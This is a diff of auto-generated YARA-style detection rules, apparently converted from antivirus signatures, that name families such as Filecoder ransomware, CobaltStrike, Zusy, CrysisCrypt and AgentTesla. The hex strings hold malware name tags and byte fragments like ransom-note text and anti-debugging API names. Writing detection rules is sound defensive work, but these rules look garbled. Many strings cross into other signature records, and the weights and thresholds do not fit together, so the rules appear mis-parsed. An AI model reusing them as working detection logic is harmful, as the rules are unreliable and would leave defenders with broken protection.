_InfrastructureShared_13861{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*9217+(#a_61_2 & 1)*29251+(#a_6e_3 & 1)*29268+(#a_6c_4 & 1)*385) >=5 } -rule _InfrastructureShared_13862{ +rule _InfrastructureShared_14776{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -157417,7 +167978,7 @@ rule _InfrastructureShared_13862{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*21340+(#a_cb_2 & 1)*0+(#a_69_3 & 1)*28515+(#a_4a_4 & 1)*19246) >=5 } -rule _InfrastructureShared_13863{ +rule _InfrastructureShared_14777{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -157431,7 +167992,7 @@ rule _InfrastructureShared_13863{ ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*25632+(#a_cb_2 & 1)*0+(#a_00_3 & 1)*28257+(#a_72_4 & 1)*385) >=5 } -rule _InfrastructureShared_13864{ +rule _InfrastructureShared_14778{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -157445,7 +168006,7 @@ rule _InfrastructureShared_13864{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*31337+(#a_cb_2 & 1)*0+(#a_20_3 & 1)*25705+(#a_6e_4 & 1)*22330) >=5 } -rule _InfrastructureShared_13865{ +rule _InfrastructureShared_14779{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -157459,20 +168020,33 @@ rule _InfrastructureShared_13865{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*18464+(#a_23_2 & 1)*6+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1) >=5 } -rule _InfrastructureShared_13866{ +rule _InfrastructureShared_14780{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " strings : $a_46_0 = {52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 46 69 6c 65 63 6f 64 65 72 2e 53 44 21 4d 54 42 00 01 00 0d 80 01 40 74 75 74 61 6e 6f 74 61 2e 63 6f 6d 01 00 0f 80 01 43 72 65 61 74 65 45 6e 63 72 79 70 74 6f 72 01 00 2b 02 59 00 6f 00 } //16675 $a_00_1 = {20 00 46 00 69 00 6c 00 65 00 73 00 90 02 20 45 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 90 00 01 00 18 02 59 6f 75 72 20 46 69 6c 65 73 90 02 20 45 6e 63 72 79 70 74 65 64 90 00 01 00 12 80 01 62 79 74 65 73 54 6f 42 65 45 6e 63 72 79 70 74 65 64 01 00 12 80 01 65 6e 63 72 79 70 74 65 64 20 66 6f 72 65 76 65 72 21 00 00 78 cb 00 } //117 - $a_3a_4 = {55 41 3a 57 69 6e 33 32 2f 4b 75 61 69 5a 69 70 2e 48 4d 52 37 00 01 00 15 80 01 2f 2f 61 70 69 6a 73 2e 62 6b 77 6c 36 2e 63 6f 6d 2f 61 70 69 01 00 1c 80 01 53 6f 66 74 77 61 72 65 5c 52 61 69 6e 62 6f 77 4e } //19521 - $a_5c_5 = {6e 73 74 61 6c 6c 01 00 06 80 01 47 65 74 41 43 50 01 00 10 80 01 54 65 72 6d 69 6e 61 74 65 50 72 6f 63 65 73 73 01 00 12 80 01 72 65 5c 52 61 69 6e 62 6f 77 4e 6f 74 65 5c 52 65 70 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0f 80 01 55 6e 69 6e 73 74 61 6c 6c 65 72 2e 65 78 65 9c ff 0c 80 01 } //29807 + $a_3a_4 = {72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 56 5a 21 4d 54 42 00 01 00 13 01 6c 65 20 70 61 73 73 77 6f 72 64 20 6e 65 20 73 65 72 74 01 00 11 01 52 65 6d 6f 76 69 6e 67 20 53 79 } //19539 + $a_6d_5 = {32 01 00 1e 01 53 65 6e 64 69 6e 67 20 62 69 74 63 6f 69 6e 20 74 6f 20 4d 43 54 46 20 41 64 6d 69 6e 73 01 00 1a 01 41 74 74 65 6d 70 74 20 74 6f 20 69 6e 73 74 61 6c 6c 20 72 6f 6f 74 6b 69 74 01 00 21 01 41 74 74 65 6d 70 74 20 74 6f 20 69 6e 73 74 61 6c 6c 20 72 6f 6f 74 6b 69 74 20 68 61 72 64 65 } //29811 condition: - ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*117+(#a_3a_4 & 1)*19521+(#a_5c_5 & 1)*29807) >=5 + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*117+(#a_3a_4 & 1)*19539+(#a_6d_5 & 1)*29811) >=5 } -rule _InfrastructureShared_13867{ +rule _InfrastructureShared_14781{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 56 5a 21 4d 54 42 00 01 00 13 01 6c 65 20 70 61 73 73 77 6f 72 64 20 6e 65 20 73 65 72 74 01 00 11 01 52 65 6d 6f 76 69 6e 67 20 53 79 73 74 65 6d 33 } //21283 + $a_64_2 = {6e 67 20 62 69 74 63 6f 69 6e 20 74 6f 20 4d 43 54 46 20 41 64 6d 69 6e 73 01 00 1a 01 41 74 74 65 6d 70 74 20 74 6f 20 69 6e 73 74 61 6c 6c 20 72 6f 6f 74 6b 69 74 01 00 21 01 41 74 74 65 6d 70 74 20 74 6f 20 69 6e 73 74 61 6c 6c 20 72 6f 6f 74 6b 69 74 20 68 61 72 64 65 72 01 00 07 01 74 69 6e 79 75 72 6c 00 00 78 cb 00 00 05 } //25939 + $a_41_4 = {46 3a 50 55 41 3a 57 69 6e 33 32 2f 4b 75 61 69 5a 69 70 2e 48 4d 52 37 00 01 00 15 80 01 2f 2f 61 70 69 } //8448 + $a_62_5 = {77 6c 36 2e 63 6f 6d 2f 61 70 69 01 00 1c 80 01 53 6f 66 74 77 61 72 65 5c 52 61 69 6e 62 6f 77 4e 6f 74 65 5c 49 6e 73 74 61 6c 6c 01 00 } //29546 + condition: + ((#a_46_0 & 1)*21283+(#a_64_2 & 1)*25939+(#a_41_4 & 1)*8448+(#a_62_5 & 1)*29546) >=5 + +} +rule _InfrastructureShared_14782{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " @@ -157489,7 +168063,7 @@ rule _InfrastructureShared_13867{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*29550+(#a_00_2 & 1)*6+(#a_6a_3 & 1)*29268+(#a_69_4 & 1)*26988+(#a_61_5 & 1)*21249+(#a_69_6 & 1)*8308+(#a_73_7 & 1)*21038) >=5 } -rule _InfrastructureShared_13868{ +rule _InfrastructureShared_14783{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -157504,7 +168078,7 @@ rule _InfrastructureShared_13868{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*19027+(#a_00_2 & 1)*6+(#a_41_3 & 1)*20538+(#a_38_4 & 1)*14128+(#a_20_5 & 1)*24951) >=6 } -rule _InfrastructureShared_13869{ +rule _InfrastructureShared_14784{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -157518,7 +168092,7 @@ rule _InfrastructureShared_13869{ ((#a_54_0 & 1)*18467+(#a_30_1 & 1)*12339+(#a_77_2 & 1)*28271+(#a_69_3 & 1)*24935+(#a_43_4 & 1)*25455) >=6 } -rule _InfrastructureShared_13870{ +rule _InfrastructureShared_14785{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -157531,7 +168105,7 @@ rule _InfrastructureShared_13870{ ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*28524+(#a_00_4 & 1)*6+(#a_54_5 & 1)*21076) >=6 } -rule _InfrastructureShared_13871{ +rule _InfrastructureShared_14786{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -157546,7 +168120,7 @@ rule _InfrastructureShared_13871{ ((#a_54_0 & 1)*18467+(#a_38_1 & 1)*25654+(#a_00_2 & 1)*13620+(#a_72_3 & 1)*385+(#a_6f_4 & 1)*30023+(#a_2e_5 & 1)*25973) >=6 } -rule _InfrastructureShared_13872{ +rule _InfrastructureShared_14787{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -157561,7 +168135,7 @@ rule _InfrastructureShared_13872{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25972+(#a_63_2 & 1)*18467+(#a_22_3 & 1)*14948+(#a_79_4 & 1)*8736+(#a_2f_5 & 1)*13166) >=6 } -rule _InfrastructureShared_13873{ +rule _InfrastructureShared_14788{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -157576,7 +168150,7 @@ rule _InfrastructureShared_13873{ ((#a_63_0 & 1)*18467+(#a_22_1 & 1)*14948+(#a_79_2 & 1)*8736+(#a_2f_3 & 1)*13166+(#a_63_4 & 1)*30063+(#a_00_5 & 1)*105) >=6 } -rule _InfrastructureShared_13874{ +rule _InfrastructureShared_14789{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 04 00 21 " @@ -157588,7 +168162,7 @@ rule _InfrastructureShared_13874{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*25455+(#a_00_3 & 1)*0) >=7 } -rule _InfrastructureShared_13875{ +rule _InfrastructureShared_14790{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -157603,7 +168177,7 @@ rule _InfrastructureShared_13875{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*28483+(#a_50_3 & 1)*19521+(#a_ff_4 & 1)*-30719+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=7 } -rule _InfrastructureShared_13876{ +rule _InfrastructureShared_14791{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 08 00 21 " @@ -157618,7 +168192,7 @@ rule _InfrastructureShared_13876{ ((#a_46_0 & 1)*16675+(#a_76_2 & 1)*21249+(#a_23_3 & 1)*8+(#a_01_5 & 1)*9216+(#a_68_6 & 1)*24912+(#a_50_7 & 1)*28008) >=7 } -rule _InfrastructureShared_13877{ +rule _InfrastructureShared_14792{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -157633,7 +168207,7 @@ rule _InfrastructureShared_13877{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*26946+(#a_3a_3 & 1)*21840+(#a_00_4 & 1)*29285+(#a_6c_5 & 1)*385+(#a_74_6 & 1)*21249) >=8 } -rule _InfrastructureShared_13878{ +rule _InfrastructureShared_14793{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -157649,7 +168223,7 @@ rule _InfrastructureShared_13878{ ((#a_41_0 & 1)*20515+(#a_61_1 & 1)*8279+(#a_6a_2 & 1)*29268+(#a_28_3 & 1)*400+(#a_06_4 & 1)*400+(#a_28_5 & 1)*27241+(#a_63_6 & 1)*25205) >=8 } -rule _InfrastructureShared_13879{ +rule _InfrastructureShared_14794{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -157660,7 +168234,7 @@ rule _InfrastructureShared_13879{ ((#a_54_0 & 1)*18467+(#a_5d_1 & 1)*0) >=10 } -rule _InfrastructureShared_13880{ +rule _InfrastructureShared_14795{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 05 00 21 " @@ -157674,7 +168248,7 @@ rule _InfrastructureShared_13880{ ((#a_6c_0 & 1)*16675+(#a_2e_1 & 1)*656+(#a_53_2 & 1)*14958+(#a_2e_3 & 1)*25963+(#a_57_4 & 1)*25970) >=10 } -rule _InfrastructureShared_13881{ +rule _InfrastructureShared_14796{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 06 00 21 " @@ -157689,7 +168263,7 @@ rule _InfrastructureShared_13881{ ((#a_54_0 & 1)*18467+(#a_4d_1 & 1)*25445+(#a_00_2 & 1)*10+(#a_6e_3 & 1)*22330+(#a_25_4 & 1)*279+(#a_6f_5 & 1)*29221) >=10 } -rule _InfrastructureShared_13882{ +rule _InfrastructureShared_14797{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 07 00 21 " @@ -157704,7 +168278,7 @@ rule _InfrastructureShared_13882{ ((#a_77_0 & 1)*16675+(#a_72_1 & 1)*9555+(#a_3a_2 & 1)*17744+(#a_70_3 & 1)*5888+(#a_68_4 & 1)*29279+(#a_6e_5 & 1)*22330) >=10 } -rule _InfrastructureShared_13883{ +rule _InfrastructureShared_14798{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 08 00 21 " @@ -157721,7 +168295,7 @@ rule _InfrastructureShared_13883{ ((#a_46_0 & 1)*16675+(#a_6b_1 & 1)*24415+(#a_00_2 & 1)*11+(#a_69_3 & 1)*14958+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1) >=10 } -rule _InfrastructureShared_13884{ +rule _InfrastructureShared_14799{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -157738,7 +168312,7 @@ rule _InfrastructureShared_13884{ ((#a_46_0 & 1)*16675+(#a_6d_2 & 1)*9217+(#a_6f_3 & 1)*9729+(#a_4d_4 & 1)*12337+(#a_72_5 & 1)*30322+(#a_00_6 & 1)*101+(#a_00_8 & 1)*57+(#a_26_9 & 1)*3584) >=11 } -rule _InfrastructureShared_13885{ +rule _InfrastructureShared_14800{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -157755,7 +168329,7 @@ rule _InfrastructureShared_13885{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*29801+(#a_00_2 & 1)*0+(#a_6f_3 & 1)*30313+(#a_00_5 & 1)*65+(#a_00_7 & 1)*101+(#a_05_8 & 1)*1299+(#a_fe_9 & 1)*766) >=11 } -rule _InfrastructureShared_13886{ +rule _InfrastructureShared_14801{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 04 00 21 " @@ -157767,7 +168341,7 @@ rule _InfrastructureShared_13886{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*57+(#a_00_3 & 1)*50) >=12 } -rule _InfrastructureShared_13887{ +rule _InfrastructureShared_14802{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -157780,7 +168354,7 @@ rule _InfrastructureShared_13887{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*1041+(#a_23_2 & 1)*8+(#a_00_3 & 1)*66) >=13 } -rule _InfrastructureShared_13888{ +rule _InfrastructureShared_14803{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 08 00 21 " @@ -157797,7 +168371,7 @@ rule _InfrastructureShared_13888{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*25972+(#a_37_2 & 1)*16685+(#a_67_3 & 1)*12108+(#a_65_4 & 1)*24933+(#a_54_5 & 1)*18467+(#a_59_6 & 1)*22873+(#a_43_7 & 1)*31337) >=17 } -rule _InfrastructureShared_13889{ +rule _InfrastructureShared_14804{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 08 00 21 " @@ -157813,7 +168387,7 @@ rule _InfrastructureShared_13889{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*25972+(#a_37_2 & 1)*16685+(#a_67_3 & 1)*12108+(#a_59_4 & 1)*22873+(#a_7a_5 & 1)*27745+(#a_00_7 & 1)*46) >=17 } -rule _InfrastructureShared_13890{ +rule _InfrastructureShared_14805{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 08 00 21 " @@ -157829,7 +168403,7 @@ rule _InfrastructureShared_13890{ ((#a_54_0 & 1)*18467+(#a_59_1 & 1)*22873+(#a_43_2 & 1)*31337+(#a_00_4 & 1)*109+(#a_00_5 & 1)*80+(#a_54_6 & 1)*17503+(#a_00_7 & 1)*10) >=17 } -rule _InfrastructureShared_13891{ +rule _InfrastructureShared_14806{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,17 00 17 00 05 00 21 " @@ -157842,7 +168416,7 @@ rule _InfrastructureShared_13891{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*332+(#a_00_2 & 1)*16964+(#a_73_3 & 1)*17409) >=23 } -rule _InfrastructureShared_13892{ +rule _InfrastructureShared_14807{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,3d 00 3d 00 0b 00 21 " @@ -157855,12 +168429,12 @@ rule _InfrastructureShared_13892{ $a_28_7 = {01 02 00 06 75 90 01 01 00 00 1b } //2560 $a_01_8 = {01 } //-28557 $a_08_9 = {11 04 16 73 90 01 01 02 00 0a 0d 09 } //2560 - $a_01_10 = {01 02 00 0a 07 6f 90 01 02 00 0a 13 05 de 1f 09 6f 90 01 01 00 00 0a dc 08 6f 90 01 01 00 00 0a dc 07 6f 90 01 01 00 00 0a dc 06 2c 06 06 6f 90 01 01 00 00 0a dc 11 05 2a 90 00 00 00 78 cc 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 4d 42 57 4e 21 4d 54 42 00 01 00 9f 01 74 65 78 74 00 00 00 06 9c 0d 00 00 10 00 00 00 a0 0d 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 } //28423 + $a_01_10 = {01 02 00 0a 07 6f ?? ?? 00 0a 13 05 de 1f 09 6f ?? 00 00 0a dc 08 6f ?? 00 00 0a dc 07 6f ?? 00 00 0a dc 06 2c 06 06 6f ?? 00 00 0a dc 11 05 2a 90 00 00 00 78 cc 00 00 01 00 01 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 49 6e 6a 65 63 74 6f 72 2e 41 52 41 33 21 65 6d 6c 00 01 00 1f 03 00 64 ff 30 64 89 20 6a 00 b8 01 00 00 00 48 f7 f0 [0-05] 33 c0 5a 59 59 64 89 10 eb } //28423 condition: ((#a_54_0 & 1)*18467+(#a_52_1 & 1)*24943+(#a_00_3 & 1)*0+(#a_52_5 & 1)*21320+(#a_01_6 & 1)*-28557+(#a_28_7 & 1)*2560+(#a_01_8 & 1)*-28557+(#a_08_9 & 1)*2560+(#a_01_10 & 1)*28423) >=61 } -rule _InfrastructureShared_13893{ +rule _InfrastructureShared_14808{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -157870,17 +168444,7 @@ rule _InfrastructureShared_13893{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_13894{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 4d 42 57 4e 21 4d 54 42 00 01 00 9f 01 74 65 78 74 00 00 00 06 9c 0d 00 00 10 00 00 00 a0 0d 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=1 - -} -rule _InfrastructureShared_13895{ +rule _InfrastructureShared_14809{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -157893,7 +168457,7 @@ rule _InfrastructureShared_13895{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*-28668+(#a_72_2 & 1)*25697+(#a_6f_3 & 1)*17862) >=1 } -rule _InfrastructureShared_13896{ +rule _InfrastructureShared_14810{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -157904,7 +168468,7 @@ rule _InfrastructureShared_13896{ ((#a_46_0 & 1)*16675+(#a_45_1 & 1)*20725) >=2 } -rule _InfrastructureShared_13897{ +rule _InfrastructureShared_14811{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -157915,7 +168479,7 @@ rule _InfrastructureShared_13897{ ((#a_46_0 & 1)*16675+(#a_4c_1 & 1)*283) >=2 } -rule _InfrastructureShared_13898{ +rule _InfrastructureShared_14812{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -157926,7 +168490,7 @@ rule _InfrastructureShared_13898{ ((#a_46_0 & 1)*16675+(#a_40_1 & 1)*29407) >=2 } -rule _InfrastructureShared_13899{ +rule _InfrastructureShared_14813{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -157937,7 +168501,7 @@ rule _InfrastructureShared_13899{ ((#a_54_0 & 1)*18467+(#a_83_1 & 1)*-2) >=2 } -rule _InfrastructureShared_13900{ +rule _InfrastructureShared_14814{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -157949,7 +168513,7 @@ rule _InfrastructureShared_13900{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*21583+(#a_70_2 & 1)*29298) >=2 } -rule _InfrastructureShared_13901{ +rule _InfrastructureShared_14815{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -157960,7 +168524,7 @@ rule _InfrastructureShared_13901{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*51) >=2 } -rule _InfrastructureShared_13902{ +rule _InfrastructureShared_14816{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -157975,7 +168539,7 @@ rule _InfrastructureShared_13902{ ((#a_46_0 & 1)*16675+(#a_53_1 & 1)*8448+(#a_00_2 & 1)*97+(#a_4c_3 & 1)*8448+(#a_77_4 & 1)*27750+(#a_59_5 & 1)*21293) >=2 } -rule _InfrastructureShared_13903{ +rule _InfrastructureShared_14817{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -157988,7 +168552,7 @@ rule _InfrastructureShared_13903{ ((#a_77_0 & 1)*19491+(#a_00_1 & 1)*26209+(#a_25_2 & 1)*9473+(#a_5f_3 & 1)*21333) >=3 } -rule _InfrastructureShared_13904{ +rule _InfrastructureShared_14818{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -158002,7 +168566,23 @@ rule _InfrastructureShared_13904{ ((#a_46_0 & 1)*16675+(#a_5a_1 & 1)*16762+(#a_00_2 & 1)*786+(#a_0a_4 & 1)*-28665+(#a_00_5 & 1)*144) >=3 } -rule _InfrastructureShared_13905{ +rule _InfrastructureShared_14819{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 41 6e 74 69 44 65 62 75 67 67 69 6e 67 2e 50 52 21 41 4d 54 42 00 01 00 11 81 01 49 73 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 01 00 1a 81 01 43 68 65 63 6b 52 65 6d 6f 74 65 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 01 } //18467 + $a_01_1 = {4e 74 51 75 65 72 79 49 6e 66 6f 72 6d 61 74 69 6f 6e 50 72 6f 63 65 73 73 01 00 11 81 01 4f 75 74 70 75 74 44 65 62 75 67 53 74 72 69 6e 67 01 00 16 81 01 4e 74 53 65 74 49 6e 66 6f 72 6d 61 74 69 6f 6e 54 68 72 65 61 64 01 00 0c 81 01 47 65 74 54 69 63 6b 43 6f 75 6e 74 01 00 07 81 01 53 6c 65 65 70 45 78 00 00 78 cc 00 00 04 00 04 00 02 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 } //6400 + $a_32_2 = {43 72 79 73 69 73 43 72 79 70 74 2e 53 4d 21 4d 54 42 00 02 00 3e 03 55 8b ec 51 83 65 90 01 01 00 e8 00 00 00 00 58 89 45 90 01 01 8b 45 90 01 01 eb 90 } //28265 + $a_90_3 = {04 98 d1 d1 2b 94 49 90 01 04 b4 90 01 01 02 27 b5 90 01 01 56 04 90 01 01 c9 c3 90 00 02 00 58 03 55 8b ec 83 ec 20 8b 45 10 89 45 f4 c7 45 ec 90 01 01 00 00 00 c7 45 fc 90 01 01 00 00 00 c7 45 f8 90 01 01 00 00 00 c7 45 f0 90 01 01 00 00 00 c7 45 e8 90 01 01 00 00 00 eb 90 01 01 8b 4d 90 01 01 83 c1 01 89 4d 90 01 01 8b 55 90 01 01 3b 55 90 01 01 0f 83 90 00 00 00 78 cc 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e } //257 + $a_48_4 = {4d 54 42 00 01 00 2c 81 01 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 4c 69 6c 79 70 61 64 47 61 72 64 65 6e 73 44 61 74 61 53 65 74 2e 78 73 64 01 00 1f 81 01 67 65 74 5f 44 58 43 43 } //16705 + $a_5f_5 = {51 45 44 57 45 44 57 45 44 57 45 44 45 44 45 44 45 57 01 00 1e 81 01 4c 69 6c 79 70 61 64 47 61 72 64 65 6e 73 43 6f 6e 6e 65 63 74 69 6f 6e 53 74 72 69 6e 67 01 00 21 81 01 56 69 73 75 61 6c 42 61 73 } //17219 + $a_69_6 = {61 6c 50 72 6f 6a 65 63 74 2e 52 65 73 6f 75 72 63 65 73 00 00 78 cc 00 00 04 00 04 00 06 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 57 65 61 74 68 65 72 41 6c 65 72 74 73 2e 4b 53 36 31 00 01 00 13 80 } //25449 + condition: + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*6400+(#a_32_2 & 1)*28265+(#a_90_3 & 1)*257+(#a_48_4 & 1)*16705+(#a_5f_5 & 1)*17219+(#a_69_6 & 1)*25449) >=3 + +} +rule _InfrastructureShared_14820{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -158013,7 +168593,7 @@ rule _InfrastructureShared_13905{ ((#a_46_0 & 1)*16675+(#a_b4_1 & 1)*400) >=4 } -rule _InfrastructureShared_13906{ +rule _InfrastructureShared_14821{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -158026,7 +168606,7 @@ rule _InfrastructureShared_13906{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*11892+(#a_41_2 & 1)*8448+(#a_76_3 & 1)*21249) >=4 } -rule _InfrastructureShared_13907{ +rule _InfrastructureShared_14822{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -158041,7 +168621,7 @@ rule _InfrastructureShared_13907{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*11891+(#a_69_2 & 1)*21761+(#a_69_3 & 1)*28271+(#a_65_4 & 1)*8313+(#a_81_5 & 1)*296) >=4 } -rule _InfrastructureShared_13908{ +rule _InfrastructureShared_14823{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -158056,7 +168636,7 @@ rule _InfrastructureShared_13908{ ((#a_54_0 & 1)*18467+(#a_25_1 & 1)*31077+(#a_6e_2 & 1)*21280+(#a_8c_3 & 1)*1025+(#a_01_4 & 1)*9372+(#a_6c_5 & 1)*28500) >=4 } -rule _InfrastructureShared_13909{ +rule _InfrastructureShared_14824{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -158069,7 +168649,7 @@ rule _InfrastructureShared_13909{ ((#a_54_0 & 1)*18467+(#a_28_1 & 1)*27396+(#a_62_2 & 1)*26740+(#a_48_3 & 1)*588) >=5 } -rule _InfrastructureShared_13910{ +rule _InfrastructureShared_14825{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -158083,7 +168663,7 @@ rule _InfrastructureShared_13910{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*26369+(#a_30_2 & 1)*12847+(#a_00_3 & 1)*21581+(#a_d2_4 & 1)*-16000) >=5 } 